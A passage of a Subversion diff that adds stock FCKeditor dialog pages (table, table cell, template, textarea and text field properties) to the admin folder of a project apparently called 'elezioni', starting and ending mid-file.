+				if ( oEditor.FCKBrowserInfo.IsGecko )
+					oCell.innerHTML = '<br _moz_editor_bogus_node="TRUE">' ;
+				//oCell.innerHTML = "&nbsp;" ;
+			}
+		}
+		
+		oEditor.FCKUndo.SaveUndoStep() ;
+		
+		// START iCM MODIFICATIONS	
+		// Amended to ensure that newly inserted tables are not incorrectly nested in P tags, etc
+		// We insert the table first and then rectify any nestings afterwards so we can re-use the
+		// FCKTablesProcessor function that corrects tables on SetHTML()
+		/*
+		table = oEditor.FCK.InsertElementAndGetIt( table ) ;
+		if ( !oEditor.FCKConfig.UseBROnCarriageReturn )
+		{
+			oEditor.FCKTablesProcessor.CheckTableNesting( table ) ;
+		}
+		*/
+		// END iCM MODIFICATIONS	
+		
+		oEditor.FCK.InsertElement( table ) ;
+	}
+	
+	return true ;
+}
+
+function IsDigit( e )
+{
+	e = e || event ;
+	var iCode = ( e.keyCode || e.charCode ) ;
+	return 
+		(
+			( iCode >= 48 && iCode <= 57 )		// Numbers
+			|| (iCode >= 37 && iCode <= 40)		// Arrows
+			|| iCode == 8		// Backspace
+			|| iCode == 46		// Delete
+		) ;
+}
+
+	</script>
+</head>
+<body style="overflow: hidden">
+	<table id="otable" cellspacing="0" cellpadding="0" width="100%" border="0" style="height: 100%">
+		<tr>
+			<td>
+				<table cellspacing="1" cellpadding="1" width="100%" border="0">
+					<tr>
+						<td valign="top">
+							<table cellspacing="0" cellpadding="0" border="0">
+								<tr>
+									<td>
+										<span fcklang="DlgTableRows">Rows</span>:</td>
+									<td>
+										&nbsp;<input id="txtRows" type="text" maxlength="3" size="2" value="3" name="txtRows"
+											onkeypress="return IsDigit(event);" /></td>
+								</tr>
+								<tr>
+									<td>
+										<span fcklang="DlgTableColumns">Columns</span>:</td>
+									<td>
+										&nbsp;<input id="txtColumns" type="text" maxlength="2" size="2" value="2" name="txtColumns"
+											onkeypress="return IsDigit(event);" /></td>
+								</tr>
+								<tr>
+									<td>
+										&nbsp;</td>
+									<td>
+										&nbsp;</td>
+								</tr>
+								<tr>
+									<td>
+										<span fcklang="DlgTableBorder">Border size</span>:</td>
+									<td>
+										&nbsp;<input id="txtBorder" type="text" maxlength="2" size="2" value="1" name="txtBorder"
+											onkeypress="return IsDigit(event);" /></td>
+								</tr>
+								<tr>
+									<td>
+										<span fcklang="DlgTableAlign">Alignment</span>:</td>
+									<td>
+										&nbsp;<select id="selAlignment" name="selAlignment">
+											<option fcklang="DlgTableAlignNotSet" value="" selected="selected">&lt;Not set&gt;</option>
+											<option fcklang="DlgTableAlignLeft" value="left">Left</option>
+											<option fcklang="DlgTableAlignCenter" value="center">Center</option>
+											<option fcklang="DlgTableAlignRight" value="right">Right</option>
+										</select></td>
+								</tr>
+							</table>
+						</td>
+						<td>
+							&nbsp;&nbsp;&nbsp;</td>
+						<td align="right" valign="top">
+							<table cellspacing="0" cellpadding="0" border="0">
+								<tr>
+									<td>
+										<span fcklang="DlgTableWidth">Width</span>:</td>
+									<td>
+										&nbsp;<input id="txtWidth" type="text" maxlength="4" size="3" value="200" name="txtWidth"
+											onkeypress="return IsDigit(event);" /></td>
+									<td>
+										&nbsp;<select id="selWidthType" name="selWidthType">
+											<option fcklang="DlgTableWidthPx" value="pixels" selected="selected">pixels</option>
+											<option fcklang="DlgTableWidthPc" value="percent">percent</option>
+										</select></td>
+								</tr>
+								<tr>
+									<td>
+										<span fcklang="DlgTableHeight">Height</span>:</td>
+									<td>
+										&nbsp;<input id="txtHeight" type="text" maxlength="4" size="3" name="txtHeight" onkeypress="return IsDigit(event);" /></td>
+									<td>
+										&nbsp;<span fcklang="DlgTableWidthPx">pixels</span></td>
+								</tr>
+								<tr>
+									<td>
+										&nbsp;</td>
+									<td>
+										&nbsp;</td>
+									<td>
+										&nbsp;</td>
+								</tr>
+								<tr>
+									<td nowrap="nowrap">
+										<span fcklang="DlgTableCellSpace">Cell spacing</span>:</td>
+									<td>
+										&nbsp;<input id="txtCellSpacing" type="text" maxlength="2" size="2" value="1" name="txtCellSpacing"
+											onkeypress="return IsDigit(event);" /></td>
+									<td>
+										&nbsp;</td>
+								</tr>
+								<tr>
+									<td nowrap="nowrap">
+										<span fcklang="DlgTableCellPad">Cell padding</span>:</td>
+									<td>
+										&nbsp;<input id="txtCellPadding" type="text" maxlength="2" size="2" value="1" name="txtCellPadding"
+											onkeypress="return IsDigit(event);" /></td>
+									<td>
+										&nbsp;</td>
+								</tr>
+							</table>
+						</td>
+					</tr>
+				</table>
+				<table cellspacing="0" cellpadding="0" width="100%" border="0">
+					<!--
+						<tr>
+						<td nowrap>
+						<span fcklang="DlgClassName">Class Name</span>:</td>
+							<td>&nbsp;</td>
+										<td>
+										<script type="text/javascript">
+//											var tbstyles = new TBCombo( "FontStyle"		, "null"			, "", oEditor.config.StyleNames, oEditor.config.StyleValues, 'CheckStyle("cmbFontStyle")');
+//											document.write(tbstyles.GetHTML());
+										</script></td>
+						</tr>
+					-->
+					<tr>
+						<td nowrap="nowrap">
+							<span fcklang="DlgTableCaption">Caption</span>:&nbsp;</td>
+						<td>
+							&nbsp;</td>
+						<td width="100%" nowrap="nowrap">
+							<input id="txtCaption" type="text" style="width: 100%" /></td>
+					</tr>
+					<tr>
+						<td nowrap="nowrap">
+							<span fcklang="DlgTableSummary">Summary</span>:&nbsp;</td>
+						<td>
+							&nbsp;</td>
+						<td width="100%" nowrap="nowrap">
+							<input id="txtSummary" type="text" style="width: 100%" /></td>
+					</tr>
+				</table>
+			</td>
+		</tr>
+	</table>
+</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_tablecell.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_tablecell.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_tablecell.html	(revision 44)
@@ -0,0 +1,251 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_tablecell.html
+ * 	Cell properties dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title>Table Cell Properties</title>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta name="robots" content="noindex, nofollow" />
+	<script src="common/fck_dialog_common.js" type="text/javascript"></script>
+	<script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+// Array of selected Cells
+var aCells = oEditor.FCKTableHandler.GetSelectedCells() ;
+
+window.onload = function()
+{
+	// First of all, translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage( document ) ;
+
+	SetStartupValue() ;
+
+	window.parent.SetOkButton( true ) ;
+	window.parent.SetAutoSize( true ) ;
+}
+
+function SetStartupValue()
+{
+	if ( aCells.length > 0 )
+	{
+		var oCell = aCells[0] ;
+		var iWidth = GetAttribute( oCell, 'width' ) ;
+
+		if ( iWidth.indexOf && iWidth.indexOf( '%' ) >= 0 )
+		{
+			iWidth = iWidth.substr( 0, iWidth.length - 1 ) ;
+			GetE('selWidthType').value = 'percent' ;
+		}
+
+		if ( oCell.attributes['noWrap'] != null && oCell.attributes['noWrap'].specified )
+			GetE('selWordWrap').value = !oCell.noWrap ;
+
+		GetE('txtWidth').value			= iWidth ;
+		GetE('txtHeight').value			= GetAttribute( oCell, 'height' ) ;
+		GetE('selHAlign').value			= GetAttribute( oCell, 'align' ) ;
+		GetE('selVAlign').value			= GetAttribute( oCell, 'vAlign' ) ;
+		GetE('txtRowSpan').value		= GetAttribute( oCell, 'rowSpan' ) ;
+		GetE('txtCollSpan').value		= GetAttribute( oCell, 'colSpan' ) ;
+		GetE('txtBackColor').value		= GetAttribute( oCell, 'bgColor' ) ;
+		GetE('txtBorderColor').value	= GetAttribute( oCell, 'borderColor' ) ;
+//		GetE('cmbFontStyle').value		= oCell.className ;
+	}
+}
+
+// Fired when the user press the OK button
+function Ok()
+{
+	for( i = 0 ; i < aCells.length ; i++ )
+	{
+		if ( GetE('txtWidth').value.length > 0 )
+			aCells[i].width	= GetE('txtWidth').value + ( GetE('selWidthType').value == 'percent' ? '%' : '') ;
+		else
+			aCells[i].removeAttribute( 'width', 0 ) ;
+
+		if ( GetE('selWordWrap').value == 'false' )
+			aCells[i].noWrap = true ;
+		else
+			aCells[i].removeAttribute( 'noWrap' ) ;
+
+		SetAttribute( aCells[i], 'height'		, GetE('txtHeight').value ) ;
+		SetAttribute( aCells[i], 'align'		, GetE('selHAlign').value ) ;
+		SetAttribute( aCells[i], 'vAlign'		, GetE('selVAlign').value ) ;
+		SetAttribute( aCells[i], 'rowSpan'		, GetE('txtRowSpan').value ) ;
+		SetAttribute( aCells[i], 'colSpan'		, GetE('txtCollSpan').value ) ;
+		SetAttribute( aCells[i], 'bgColor'		, GetE('txtBackColor').value ) ;
+		SetAttribute( aCells[i], 'borderColor'	, GetE('txtBorderColor').value ) ;
+//		SetAttribute( aCells[i], 'className'	, GetE('cmbFontStyle').value ) ;
+	}
+
+	return true ;
+}
+
+function SelectBackColor( color )
+{
+	if ( color && color.length > 0 )
+		GetE('txtBackColor').value = color ;
+}
+
+function SelectBorderColor( color )
+{
+	if ( color && color.length > 0 )
+		GetE('txtBorderColor').value = color ;
+}
+
+function SelectColor( wich )
+{
+	oEditor.FCKDialog.OpenDialog( 'FCKDialog_Color', oEditor.FCKLang.DlgColorTitle, 'dialog/fck_colorselector.html', 400, 330, wich == 'Back' ? SelectBackColor : SelectBorderColor, window ) ;
+}
+
+	</script>
+</head>
+<body scroll="no" style="overflow: hidden">
+	<table cellspacing="0" cellpadding="0" width="100%" border="0" height="100%">
+		<tr>
+			<td>
+				<table cellspacing="1" cellpadding="1" width="100%" border="0">
+					<tr>
+						<td>
+							<table cellspacing="0" cellpadding="0" border="0">
+								<tr>
+									<td nowrap="nowrap">
+										<span fcklang="DlgCellWidth">Width</span>:</td>
+									<td>
+										&nbsp;<input onkeypress="return IsDigit(event);" id="txtWidth" type="text" maxlength="4"
+											size="3" name="txtWidth" />&nbsp;<select id="selWidthType" name="selWidthType">
+												<option fcklang="DlgCellWidthPx" value="pixels" selected="selected">pixels</option>
+												<option fcklang="DlgCellWidthPc" value="percent">percent</option>
+											</select></td>
+								</tr>
+								<tr>
+									<td nowrap="nowrap">
+										<span fcklang="DlgCellHeight">Height</span>:</td>
+									<td>
+										&nbsp;<input id="txtHeight" type="text" maxlength="4" size="3" name="txtHeight" onkeypress="return IsDigit(event);" />&nbsp;<span
+											fcklang="DlgCellWidthPx">pixels</span></td>
+								</tr>
+								<tr>
+									<td>
+										&nbsp;</td>
+									<td>
+										&nbsp;</td>
+								</tr>
+								<tr>
+									<td nowrap="nowrap">
+										<span fcklang="DlgCellWordWrap">Word Wrap</span>:</td>
+									<td>
+										&nbsp;<select id="selWordWrap" name="selAlignment">
+											<option fcklang="DlgCellWordWrapYes" value="true" selected="selected">Yes</option>
+											<option fcklang="DlgCellWordWrapNo" value="false">No</option>
+										</select></td>
+								</tr>
+								<tr>
+									<td>
+										&nbsp;</td>
+									<td>
+										&nbsp;</td>
+								</tr>
+								<tr>
+									<td nowrap="nowrap">
+										<span fcklang="DlgCellHorAlign">Horizontal Alignment</span>:</td>
+									<td>
+										&nbsp;<select id="selHAlign" name="selAlignment">
+											<option fcklang="DlgCellHorAlignNotSet" value="" selected>&lt;Not set&gt;</option>
+											<option fcklang="DlgCellHorAlignLeft" value="left">Left</option>
+											<option fcklang="DlgCellHorAlignCenter" value="center">Center</option>
+											<option fcklang="DlgCellHorAlignRight" value="right">Right</option>
+										</select></td>
+								</tr>
+								<tr>
+									<td nowrap="nowrap">
+										<span fcklang="DlgCellVerAlign">Vertical Alignment</span>:</td>
+									<td>
+										&nbsp;<select id="selVAlign" name="selAlignment">
+											<option fcklang="DlgCellVerAlignNotSet" value="" selected>&lt;Not set&gt;</option>
+											<option fcklang="DlgCellVerAlignTop" value="top">Top</option>
+											<option fcklang="DlgCellVerAlignMiddle" value="middle">Middle</option>
+											<option fcklang="DlgCellVerAlignBottom" value="bottom">Bottom</option>
+											<option fcklang="DlgCellVerAlignBaseline" value="baseline">Baseline</option>
+										</select></td>
+								</tr>
+							</table>
+						</td>
+						<td>
+							&nbsp;&nbsp;&nbsp;</td>
+						<td align="right">
+							<table cellspacing="0" cellpadding="0" border="0">
+								<tr>
+									<td nowrap="nowrap">
+										<span fcklang="DlgCellRowSpan">Rows Span</span>:</td>
+									<td>
+										&nbsp;
+										<input onkeypress="return IsDigit(event);" id="txtRowSpan" type="text" maxlength="3" size="2"
+											name="txtRows"></td>
+									<td>
+									</td>
+								</tr>
+								<tr>
+									<td nowrap="nowrap">
+										<span fcklang="DlgCellCollSpan">Columns Span</span>:</td>
+									<td>
+										&nbsp;
+										<input onkeypress="return IsDigit(event);" id="txtCollSpan" type="text" maxlength="2"
+											size="2" name="txtColumns"></td>
+									<td>
+									</td>
+								</tr>
+								<tr>
+									<td>
+										&nbsp;</td>
+									<td>
+										&nbsp;</td>
+									<td>
+										&nbsp;</td>
+								</tr>
+								<tr>
+									<td nowrap="nowrap">
+										<span fcklang="DlgCellBackColor">Background Color</span>:</td>
+									<td>
+										&nbsp;<input id="txtBackColor" type="text" size="8" name="txtCellSpacing"></td>
+									<td>
+										&nbsp;
+										<input type="button" fcklang="DlgCellBtnSelect" value="Select..." onclick="SelectColor( 'Back' )"></td>
+								</tr>
+								<tr>
+									<td nowrap="nowrap">
+										<span fcklang="DlgCellBorderColor">Border Color</span>:</td>
+									<td>
+										&nbsp;<input id="txtBorderColor" type="text" size="8" name="txtCellPadding" /></td>
+									<td>
+										&nbsp;
+										<input type="button" fcklang="DlgCellBtnSelect" value="Select..." onclick="SelectColor( 'Border' )" /></td>
+								</tr>
+							</table>
+						</td>
+					</tr>
+				</table>
+			</td>
+		</tr>
+	</table>
+</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_template.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_template.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_template.html	(revision 44)
@@ -0,0 +1,236 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_template.html
+ * 	Template selection dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title></title>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta name="robots" content="noindex, nofollow" />
+	<style type="text/css">
+			.TplList
+			{
+				border: #dcdcdc 2px solid;
+				background-color: #ffffff;
+				overflow: auto;
+				width: 90%;
+			}
+
+			.TplItem
+			{
+				margin: 5px;
+				padding: 7px;
+				border: #eeeeee 1px solid;
+			}
+
+			.TplItem TABLE
+			{
+				display: inline;
+			}
+
+			.TplTitle
+			{
+				font-weight: bold;
+			}
+		</style>
+	<script src="common/fck_dialog_common.js" type="text/javascript"></script>
+	<script type="text/javascript">
+
+var oEditor		= window.parent.InnerDialogLoaded() ;
+var FCK			= oEditor.FCK ;
+var FCKLang		= oEditor.FCKLang ;
+var FCKConfig	= oEditor.FCKConfig ;
+
+window.onload = function()
+{
+	// Set the right box height (browser dependent).
+	GetE('eList').style.height = document.all ? '100%' : '295px' ;
+
+	// Translate the dialog box texts.
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+	
+	GetE('xChkReplaceAll').checked = ( FCKConfig.TemplateReplaceAll !== false ) ;
+	
+	if ( FCKConfig.TemplateReplaceCheckbox !== false )
+		GetE('xReplaceBlock').style.display = '' ;
+
+	window.parent.SetAutoSize( true ) ;
+
+	LoadTemplatesXml() ;
+}
+
+function LoadTemplatesXml()
+{
+	if ( !FCK._Templates )
+	{
+		GetE('eLoading').style.display = '' ;
+
+		// Create the Templates array.
+		FCK._Templates = new Array() ;
+
+		// Load the XML file.
+		var oXml = new oEditor.FCKXml() ;
+		oXml.LoadUrl( FCKConfig.TemplatesXmlPath ) ;
+
+		// Get the Images Base Path.
+		var oAtt = oXml.SelectSingleNode( 'Templates/@imagesBasePath' ) ;
+		var sImagesBasePath = oAtt ? oAtt.value : '' ;
+
+		// Get the "Template" nodes defined in the XML file.
+		var aTplNodes = oXml.SelectNodes( 'Templates/Template' ) ;
+
+		for ( var i = 0 ; i < aTplNodes.length ; i++ )
+		{
+			var oNode = aTplNodes[i]
+
+			var oTemplate = new Object() ;
+
+			var oPart ;
+
+			// Get the Template Title.
+			if ( oPart = oNode.attributes.getNamedItem('title') )
+				oTemplate.Title = oPart.value ;
+			else
+				oTemplate.Title = 'Template ' + ( i + 1 ) ;
+
+			// Get the Template Description.
+			if ( oPart = oXml.SelectSingleNode( 'Description', oNode ) )
+				oTemplate.Description = oPart.text ? oPart.text : oPart.textContent ;
+
+			// Get the Template Image.
+			if ( oPart = oNode.attributes.getNamedItem('image') )
+				oTemplate.Image = sImagesBasePath + oPart.value ;
+
+			// Get the Template HTML.
+			if ( oPart = oXml.SelectSingleNode( 'Html', oNode ) )
+				oTemplate.Html = oPart.text ? oPart.text : oPart.textContent ;
+			else
+			{
+				alert( 'No HTML defined for template index ' + i + '. Please review the "' + FCKConfig.TemplatesXmlPath + '" file.' ) ;
+				continue ;
+			}
+
+			FCK._Templates[ FCK._Templates.length ] = oTemplate ;
+		}
+
+		GetE('eLoading').style.display = 'none' ;
+	}
+
+	if ( FCK._Templates.length == 0 )
+		GetE('eEmpty').style.display = '' ;
+	else
+	{
+		for ( var i = 0 ; i < FCK._Templates.length ; i++ )
+		{
+			var oTemplate = FCK._Templates[i] ;
+
+			var oItemDiv = GetE('eList').appendChild( document.createElement( 'DIV' ) ) ;
+			oItemDiv.TplIndex = i ;
+			oItemDiv.className = 'TplItem' ;
+
+			// Build the inner HTML of our new item DIV.
+			var sInner = '<table><tr>' ;
+
+			if ( oTemplate.Image )
+				sInner += '<td valign="top"><img src="' + oTemplate.Image + '"><\/td>' ;
+
+			sInner += '<td valign="top"><div class="TplTitle">' + oTemplate.Title + '<\/div>' ;
+
+			if ( oTemplate.Description )
+				sInner += '<div>' + oTemplate.Description + '<\/div>' ;
+
+			sInner += '<\/td><\/tr><\/table>' ;
+
+			oItemDiv.innerHTML = sInner ;
+			
+			oItemDiv.onmouseover = ItemDiv_OnMouseOver ;
+			oItemDiv.onmouseout = ItemDiv_OnMouseOut ;
+			oItemDiv.onclick = ItemDiv_OnClick ;
+		}
+	}
+}
+
+function ItemDiv_OnMouseOver()
+{
+	this.className += ' PopupSelectionBox' ;
+}
+
+function ItemDiv_OnMouseOut()
+{
+	this.className = this.className.replace( /\s*PopupSelectionBox\s*/, '' ) ;
+}
+
+function ItemDiv_OnClick()
+{
+	SelectTemplate( this.TplIndex ) ;
+}
+
+function SelectTemplate( index )
+{
+	oEditor.FCKUndo.SaveUndoStep() ;
+
+	if ( GetE('xChkReplaceAll').checked )
+		FCK.SetHTML( FCK._Templates[index].Html ) ;
+	else
+		FCK.InsertHtml( FCK._Templates[index].Html ) ;
+
+	window.parent.Cancel( true ) ;
+}
+
+	</script>
+</head>
+<body style="overflow: hidden">
+	<table width="100%" style="height: 100%">
+		<tr>
+			<td align="center">
+				<span fcklang="DlgTemplatesSelMsg">Please select the template to open in the editor<br />
+					(the actual contents will be lost):</span>
+			</td>
+		</tr>
+		<tr>
+			<td height="100%" align="center">
+				<div id="eList" align="left" class="TplList">
+					<div id="eLoading" align="center" style="display: none">
+						<br />
+						<span fcklang="DlgTemplatesLoading">Loading templates list. Please wait...</span>
+					</div>
+					<div id="eEmpty" align="center" style="display: none">
+						<br />
+						<span fcklang="DlgTemplatesNoTpl">(No templates defined)</span>
+					</div>
+				</div>
+			</td>
+		</tr>
+		<tr id="xReplaceBlock" style="display: none">
+			<td>
+				<table cellpadding="0" cellspacing="0">
+					<tr>
+						<td>
+							<input id="xChkReplaceAll" type="checkbox" /></td>
+						<td>
+							&nbsp;</td>
+						<td>
+							<label for="xChkReplaceAll" fcklang="DlgTemplatesReplace">
+								Replace actual contents</label></td>
+					</tr>
+				</table>
+			</td>
+		</tr>
+	</table>
+</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_textarea.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_textarea.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_textarea.html	(revision 44)
@@ -0,0 +1,90 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_textarea.html
+ * 	Text Area dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html>
+	<head>
+		<title>Text Area Properties</title>
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+		<meta content="noindex, nofollow" name="robots">
+		<script src="common/fck_dialog_common.js" type="text/javascript"></script>
+		<script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+window.onload = function()
+{
+	// First of all, translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+	if ( oActiveEl && oActiveEl.tagName == 'TEXTAREA' )
+	{
+		GetE('txtName').value		= oActiveEl.name ;
+		GetE('txtCols').value		= GetAttribute( oActiveEl, 'cols' ) ;
+		GetE('txtRows').value		= GetAttribute( oActiveEl, 'rows' ) ;
+	}
+	else
+		oActiveEl = null ;
+
+	window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+	if ( !oActiveEl )
+	{
+		oActiveEl = oEditor.FCK.EditorDocument.createElement( 'TEXTAREA' ) ;
+		oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+	}
+
+	oActiveEl.name = GetE('txtName').value ;
+	SetAttribute( oActiveEl, 'cols', GetE('txtCols').value ) ;
+	SetAttribute( oActiveEl, 'rows', GetE('txtRows').value ) ;
+
+	return true ;
+}
+
+		</script>
+	</head>
+	<body style='OVERFLOW: hidden' scroll='no'>
+		<table height="100%" width="100%">
+			<tr>
+				<td align="center">
+					<table border="0" cellpadding="0" cellspacing="0" width="80%">
+						<tr>
+							<td>
+								<span fckLang="DlgTextareaName">Name</span><br>
+								<input type="text" id="txtName" style="width: 100%">
+								<span fckLang="DlgTextareaCols">Collumns</span><br>
+								<input id="txtCols" type="text" size="5">
+								<br>
+								<span fckLang="DlgTextareaRows">Rows</span><br>
+								<input id="txtRows" type="text" size="5">
+							</td>
+						</tr>
+					</table>
+				</td>
+			</tr>
+		</table>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_textfield.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_textfield.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_textfield.html	(revision 44)
@@ -0,0 +1,135 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_textfield.html
+ * 	Text field dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title></title>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta content="noindex, nofollow" name="robots" />
+	<script src="common/fck_dialog_common.js" type="text/javascript"></script>
+	<script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+window.onload = function()
+{
+	// First of all, translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+	if ( oActiveEl && oActiveEl.tagName == 'INPUT' && ( oActiveEl.type == 'text' || oActiveEl.type == 'password' ) )
+	{
+		GetE('txtName').value	= oActiveEl.name ;
+		GetE('txtValue').value	= oActiveEl.value ;
+		GetE('txtSize').value	= GetAttribute( oActiveEl, 'size' ) ;
+		GetE('txtMax').value	= GetAttribute( oActiveEl, 'maxLength' ) ;
+		GetE('txtType').value	= oActiveEl.type ;
+
+		GetE('txtType').disabled = true ;
+	}
+	else
+		oActiveEl = null ;
+
+	window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+	if ( isNaN( GetE('txtMax').value ) || GetE('txtMax').value < 0 )
+	{
+		alert( "Maximum characters must be a positive number." ) ;
+		GetE('txtMax').focus() ;
+		return false ;
+	}
+	else if( isNaN( GetE('txtSize').value ) || GetE('txtSize').value < 0 )
+	{
+		alert( "Width must be a positive number." ) ;
+		GetE('txtSize').focus() ;
+		return false ;
+	}
+
+	if ( !oActiveEl )
+	{
+		oActiveEl = oEditor.FCK.EditorDocument.createElement( 'INPUT' ) ;
+		oActiveEl.type = GetE('txtType').value ;
+		oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+	}
+
+	oActiveEl.name = GetE('txtName').value ;
+	SetAttribute( oActiveEl, 'value'	, GetE('txtValue').value ) ;
+	SetAttribute( oActiveEl, 'size'		, GetE('txtSize').value ) ;
+	SetAttribute( oActiveEl, 'maxlength', GetE('txtMax').value ) ;
+
+	return true ;
+}
+
+	</script>
+</head>
+<body style="overflow: hidden">
+	<table width="100%" style="height: 100%">
+		<tr>
+			<td align="center">
+				<table cellspacing="0" cellpadding="0" border="0">
+					<tr>
+						<td>
+							<span fcklang="DlgTextName">Name</span><br />
+							<input id="txtName" type="text" size="20" />
+						</td>
+						<td>
+						</td>
+						<td>
+							<span fcklang="DlgTextValue">Value</span><br />
+							<input id="txtValue" type="text" size="25" />
+						</td>
+					</tr>
+					<tr>
+						<td>
+							<span fcklang="DlgTextCharWidth">Character Width</span><br />
+							<input id="txtSize" type="text" size="5" />
+						</td>
+						<td>
+						</td>
+						<td>
+							<span fcklang="DlgTextMaxChars">Maximum Characters</span><br />
+							<input id="txtMax" type="text" size="5" />
+						</td>
+					</tr>
+					<tr>
+						<td>
+							<span fcklang="DlgTextType">Type</span><br />
+							<select id="txtType">
+								<option value="text" selected="selected" fcklang="DlgTextTypeText">Text</option>
+								<option value="password" fcklang="DlgTextTypePass">Password</option>
+							</select>
+						</td>
+						<td>
+							&nbsp;</td>
+						<td>
+						</td>
+					</tr>
+				</table>
+			</td>
+		</tr>
+	</table>
+</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_universalkey.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_universalkey.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_universalkey.html	(revision 44)
@@ -0,0 +1,63 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_universalkey.html
+ * 	Unicode Keyboard dialog window.
+ * 
+ * File Authors:
+ * 		Abdul-Aziz Al-Oraij (top7up@hotmail.com)
+ * 		Michel Staelens
+ * 		Bernadette Cierzniak
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html>
+	<head>
+		<title>Universal Keyboard</title>
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+		<meta content="noindex, nofollow" name="robots">
+		<link rel="stylesheet" type="text/css" href="fck_universalkey/fck_universalkey.css" />
+		<script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+window.onload = function()
+{
